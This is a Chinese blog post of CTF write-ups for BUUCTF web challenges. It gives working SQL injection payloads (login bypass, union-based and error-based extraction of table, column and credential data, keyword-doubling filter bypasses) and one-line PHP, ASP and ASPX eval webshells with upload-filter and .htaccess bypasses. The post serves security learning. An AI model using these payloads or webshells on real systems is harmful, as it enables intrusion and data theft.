buuctf-web作业总结

原创

Jerem1ah 已于 2022-02-20 21:07:28 修改 2028 收藏
文章标签： 前端 web安全 安全
于 2022-02-14 23:14:04 首次发布

buuctf-web作业总结

0x01题目-[极客大挑战 2019]EasySQL

知识点：

sql注入-万能密码（没有过滤的简单题

解题：

看见题目easysql+登录框，判定sql注入，

登录框输入`' or 1=1#`，密码随意输一个 看下效果，成功！

总结：

对sql注入题目的判定（题目提示+输入框）

sql注入万能密码，（账号在前，密码在后，#把后面的注释掉就随意填密码了）

既然总结就多写点

sql注入常见注释符（绕过过滤符号的题目）

```
#
%23   (url编码)GET方式可用，POST方式不可
--+
-- -
/**/
```

sql语句对not,and,or的执行循序

```
sql语句中逻辑运算符优先级跟c一样，not > and > or (c里面是 ! > && > || )----同级别从左到右

SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='123456'
1.先执行 ...AND...
2.执行Username='1'
3.false or ture or false
结果位ture成功绕过
```

sql语句常见万能密码

```
对于字符型的  ' or 1=1#
存在MD5密码登录绕过的，ffifdyop万能密码
存在MD5弱类型比较的，可以用数组或者md5碰撞
```

0x02题目-[极客大挑战 2019]LoveSQL

知识点：

```
group_concat()
concat('a','b')
concat_ws(',','a','b')
information_schema库下的信息
```

解题：

由于万能密码可以登录，但看不到答案，我们得继续爆

思路：order by 3(4) 判断几列------union select 1,2,3 判断回显点位--------爆库------爆表-----爆列----查询信息

总结：

纠正一个我的误区--实验结论

```
select * from user where pass='123' union select 1,2,3
union的语句是不管前面的where是对是否，union的select都继续执行，

1' union select 1,2,3-- -
结果是想要的2，3

2341312' union select 1,2,3-- -
结果也是想要的2，3

admin' union select 1,2,3-- -
出不来想要的

' or 1=1 union select 1,2,3-- -
也出不来想要的回显

' or 1=1 union select 1,2,3 order by 2-- -
结果是想要的2，3

得出结论：
union的语句一定会执行，不管前面的where是否成功，而且只要这个sql语句有一个执行成功了，就是登录成功了，
当前面的执行成功，由于是会回显2条，所以2，3，就看不到了
当前面的执行失败，会显示登录成功，同时回显的就是想要的2，3了。
```

因此这个题判断回显位点的正确做法就应该是：让前面的出错，后面回显2，3

补充一个我的知识盲区

```
LIMIT 5 OFFSET 3  先跳过3条限制显示5条

MySQL里的简写
LIMIT 3,5  先跳过3条限制显示5条----正好相反了
```

数据库的information_schema库

```
information_schema库
--schemata表
--tables表  (table_name table_schema)
--columns表 (column_name table_name)
--等

爆掉geek下的表名：
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1-- -
或者连到一块
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -


爆掉l0ve1ysq1表下的列名：
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' -- -

爆掉username和password的信息：
1' union select 1,2,group_concat(concat_ws('++',username,password) from geek.l0ve1ysq1 -- -
```

0x03题目-[极客大挑战 2019]BabySQL

知识点：

主要就是绕过过滤的知识

解题：

和lovesql思路基本一样，多了个绕过（测试的好像只能双写绕过了）

总结：

这次总结过滤和绕过的方法

```
常用关键字绕过：
双写绕过--
大小写绕过--
内联注释绕过--

or和and的绕过：
||和&&
```

```
爆表
1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_sc
hema=database()-- -
得到b4bsql,geekuser

爆列
1' ununionion selselectect 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_
name='b4bsql'-- -
得到id,username,password

爆用户名和密码
1' ununionion selselectect 1,2,group_concat(concat_ws('~~',username,passwoorrd)) frofromm geek.b4bsql-- -
```

0x04题目-[极客大挑战 2019]HardSQL

知识点：

报错注入1’^extractvalue(null,concat(’~’,(-----想要显示的内容------)))#

解题：

思路和前面的一样，是不过多了过滤，需要绕过的东西更多，就更难了，

用报错注入代替了union

```
爆库
1'^extractvalue(null,concat('~',(database())))#
爆表------like替换=，（）替换空格
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schem
a)like('geek')))))#
1'^extractvalue(null,concat('~',(select(group_concat(table_name))from(information_schema.tables)where((table_sch
ema)like('geek')))))#
爆字段
1'^extractvalue(null,concat('~',(select(group_concat(column_name))from(information_schema.columns)where((table_n
ame)like('H4rDsq1')))))#

爆user,password
1'^extractvalue(null,concat('~',(select(group_concat(concat_ws('~~',username,password)))from(geek.H4rDsq1))))#
------flag{e3d249ad-edc0-4c94-8

输出长度有限制left(),right()爆出字符串的另外部分
1'^extractvalue(null,concat('~',(select(left((group_concat(concat_ws('~~',username,password))),50))from(geek.H4r
Dsq1))))#
--------flag{e3d249ad-edc0-4c94-8
1'^extractvalue(null,concat('~',(select(right((group_concat(concat_ws('~~',username,password))),30))from(geek.H4
rDsq1))))#
--------d-edc0-4c94-8437-2e8c512e1de6}


flag{e3d249ad-edc0-4c94-8437-2e8c512e1de6}
```

总结：

报错注入

```
为什么用^连接函数看的其他大佬这样用的，还不太明白具体怎末使用---

()代替过滤的空格
like代替过滤的=
0x7e其实和'~'效果一样

最后的操作，left()和right()解决了字符串一下字显示不完的问题
```

4个xxxsql总结

```
这四个题，思路一样----找到回显的位点---爆掉库名---爆掉表名---爆掉字段---找到用户密码
难度的怎加来自于后台的过滤关键字和字符，这就需要我们绕过，
所以，我认为还是积累绕过的知识
```

0x05题目-[强网杯 2019]随便注

知识点：

```
show tables;
show columns from (table);
rename table (table1) to (table2);
alert table (table1) change (column1) (column2)
```

解题：

爆一下有哪些表，

表里有哪些字段，

盲猜sql语句是select id,data from words where id=’’,

把表名改一下用,让flag自动出来

总结：

题目过滤了union select等关键字，报错注入最后也得select等于没用，只能改表名了

0x06题目-[极客大挑战 2019]Upload

知识点：

```
文件上传，一句话木马，蚁剑连接，抓包工具
后缀绕过，content-type修改
```

解题：

总体思路：上传一句话木马，蚁剑连接

具体思路：上传一句话木马文件，抓包，改content-type:image/jpeg，拿到文件是上传的地址，蚁剑连接。

（<?php?>绕过，php后缀绕过

总结：

```
抓包检查思路：
后缀名、content-type、文件内容
```

```
php常用后缀名：
# php2，php3、php4、php5、phtml、phtm
代替php后缀
（phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析
```

```
php内容绕过：
<script language="php">@eval($_POST['shell']);</script>
<?php @eval($_POST['shell']);?>
```

```
文件解析后缀名：
.htaccess
```

0x07题目-[ACTF2020 新生赛]Upload

解题：

```
先查看文件后缀名的限制，找到可以绕过限制的法子
老规矩，抓包，改后缀，改文件类型，
嗯都是老规矩了。
```

总结：

```
这一题有违简单，不多总结
```

0x08题目-[MRCTF2020]你传你□呢

知识点：

```
一句话木马总结
eval函数总结一下
@的解释
木马成功的条件补充一下吧
```

解题：

```
思路都一样，传马，传不过就绕
```

总结：

`eval一句话木马`

```
一句话木马：
<?php @eval($_POST['attack']);?>

eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码，且必须以分号结尾。

@符号的意思是不报错，即使执行错误，也不报错。
（因为一个变量没有定义，就被拿去使用了）
```

```
（1）木马上传成功，未被杀；
（2）知道木马的路径在哪；
（3）上传的木马能正常运行。
```

```
php:  <?php @eval($_POST['attack']);?>
asp:    <%eval request ("attack")%>
aspx:   <%@ Page Language="Jscript"%> <%eval(Request.Item["attack"],"unsafe");%>
```

0x09题目-[GXYCTF2019]BabyUpload

知识点：

```
由于后缀名的限制，需要.htaccess来解析
AddType application/x-httpd-php .jpg
```

解题：

```
题解思路都一样，限制变多，
用.htaccess来解析后缀，使木马文件能够顺利执行
接着蚁剑连接找出flag
```

总结：

`操作起来容易错的点`

```
上传的htaccess的文件，一定要是.htaccess!!!!!!!!

蚁剑连接的地址一定要是木马文件的地址！！！！！！
```